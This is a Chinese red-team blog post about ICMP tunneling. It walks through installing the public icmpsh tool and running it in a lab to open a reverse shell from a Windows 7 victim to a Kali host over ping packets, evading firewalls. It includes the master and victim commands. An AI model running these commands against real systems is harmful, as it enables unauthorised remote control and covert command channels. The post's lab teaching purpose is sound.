利用ICMP(icmpsh)协议反弹Shell - 渗透红队笔记

Gcow安全团队

共 1733字,需浏览 4分钟

 · 2020-10-13

渗透攻击红队

一个专注于红队攻击的公众号



大家好,这里是 渗透攻击红队 的第  篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),每周一更。


ICMP隧道


ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下,每个Ping命令都有相对应的回复与请求。


在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。


常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。



利用ICMP协议反弹Shell

icmpsh



icmpsh工具使用简单,是一个跨平台工具,运行不需要管理员权限。

icmpsh下载地址:

https://github.com/inquisb/icmpsh

使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。

安装Python-impacket库:

apt-get install python-impacket

安装库如果出现这种情况:

那么更新一下APT库就好了:

sudo apt-get updatesudo apt-get upgrade

如果没有pip的话那么安装pip:

1.下载+解压+安装setuptools包:root@kali:~#:wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gzroot@kali:~#:tar zxvf setuptools-18.5.tar.gzroot@kali:~#:cd setuptools-18.5root@kali:~#:python setup.py buildroot@kali:~#:python setup.py install
2.下载+解压+安装piproot@kali:~#:wget https://pypi.python.org/packages/source/p/pip/pip-7.1.2.tar.gzroot@kali:~#:tar zxvf pip-7.1.2.tar.gzroot@kali:~#:cd pip-7.1.2root@kali:~#:sudo python setup.py install

如果还是不行那么就使用这条命令安装:

pip2 install impacket

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.

sysctl -w net.ipv4.icmp_echo_ignore_all=1

实验完成后开启系统ping的话将最后的1改为0即可

在这里我说一下,运行run.sh会出错,不知道为啥:

于是我使用了icmpsh的Python脚本运行:

python icmpsh_m.py 192.168.217.129kali】 192.168.217.132win7

然后在Win7上执行命令:

icmpsh.exe -t 192.168.217.129

这个时候就成功反弹shell到kali:




参考文章:

https://pentestlab.blog/2017/07/28/command-and-control-icmp/




渗透攻击红队

一个专注于渗透红队攻击的公众号



点分享
点点赞
点在看
浏览 63
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报